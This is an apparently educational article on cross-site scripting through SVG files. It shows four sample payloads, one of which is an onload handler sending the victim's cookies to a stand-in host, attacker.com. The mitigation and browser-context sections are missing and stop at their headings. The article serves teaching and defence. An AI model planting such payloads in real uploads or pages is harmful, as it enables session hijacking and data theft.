SVG XSS: How Malicious Scripts Execute in SVGs

Scalable Vector Graphics (SVG) are widely used for web graphics, but because they are XML-based documents, they can natively embed and execute code such as JavaScript. This article explains how un-sanitized SVG files serve as delivery mechanisms for Cross-Site Scripting (XSS) attacks, breaks down the primary injection vectors within the SVG syntax, details how browser rendering contexts affect execution, and outlines the essential methods for mitigating these security risks.

Why SVG Files Are Vulnerable to XSS

Unlike raster image formats like PNG, JPEG, or GIF, an SVG is an XML-based text document that describes two-dimensional vector graphics. Because modern browsers parse SVG files as standard Document Object Model (DOM) elements, SVGs support styling, animation, and interactivity through client-side scripts.

When a web application allows users to upload or embed un-sanitized SVG files, an attacker can insert malicious JavaScript into the XML markup. If the application renders the file directly in the DOM or serves it without restrictive headers, the browser executes the embedded script within the context of the user’s session, leading to Stored XSS.

Common Payloads and Execution Vectors

Attackers exploit the structural elements and attributes of SVG files in several distinct ways:

1. Direct <script> Elements

Because SVG supports standard script tags, an attacker can embed JavaScript directly within the SVG body:

<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

2. Inline Event Handlers

SVG elements support standard HTML and SVG-specific event handlers. Attackers can attach events such as onload, onerror, onmouseover, or onclick to various tags:

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
  <rect width="100" height="100" fill="blue" />
</svg>

The SVG specification allows linking elements using <a> tags with xlink:href or standard href attributes. Attackers can set the destination to a JavaScript pseudo-protocol:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <a xlink:href="javascript:alert(1)">
    <text x="10" y="20">Click here</text>
  </a>
</svg>

4. The <foreignObject> Element

The <foreignObject> element allows arbitrary HTML markup to be embedded within an SVG. This enables attackers to inject standard HTML-based XSS payloads:

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100%" height="100%">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <img src="invalid-image" onerror="alert(1)" />
    </body>
  </foreignObject>
</svg>

The Role of Browser Context

The execution of JavaScript within an SVG depends heavily on how the browser renders the file:

How to Prevent SVG-Based XSS

To safely handle SVG uploads and rendering, implement the following defenses: